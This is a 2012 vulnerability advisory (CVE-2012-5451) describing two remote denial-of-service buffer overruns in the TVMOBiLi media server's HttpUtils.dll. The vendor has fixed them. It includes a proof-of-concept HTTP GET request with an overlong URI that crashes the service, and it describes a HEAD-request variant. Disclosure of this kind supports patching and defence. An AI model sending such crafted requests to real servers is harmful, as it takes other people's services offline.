Description

Advisory ID: HTB23120 Product: TVMOBiLi media server Vendor: TVMOBiLi Vulnerable Version(s): 2.1.0.3557 and probably prior version Tested Version: 2.1.0.3557 in Windows XP SP3 32 bits Vendor Notification: October 15, 2012 Vendor Patch: November 21, 2012 Public Disclosure: December 5, 2012 Vulnerability Type: Improper Handling of Length Parameter Inconsistency [CWE-130] CVE Reference: CVE-2012-5451 CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P) Solution Status: Fixed by Vendor Risk Level: Medium Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )


Advisory Details:

High-Tech Bridge Security Research Lab has discovered 2 remote DoS vulnerabilities in TVMOBiLi Media server, which could be exploited to crash remote server with malicious HTTP requests.

1) Improper Handling of Length Parameter Inconsistency in TVMOBiLi: CVE-2012-5451

1.1 The vulnerability exists due to improper handling of URI length within the "HttpUtils.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP GET request of 161, 257 or 255 characters long to 30888/TCP port (default TVMOBiLi's server port) and cause a stack-based buffer overrun that will crash tvMobiliService service.

Crash details

Proof of Concept The following HTTP GET request will crash vulnerable tvMobiliService service remotely:

GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1 HOST: 192.168.10.12:30888 Referer: 192.168.10.12:30888 ACCEPT: / Accept-Encoding: None User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Connection: Close Accept-Transfer-Encoding: None

1.2 The vulnerability exists due to improper handling of URI length within the "HttpUtils.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP HEAD request of 255, 257 or 260 characters long to 30888/TCP port and cause a stack-based buffer overrun that will crash tvMobiliService service.
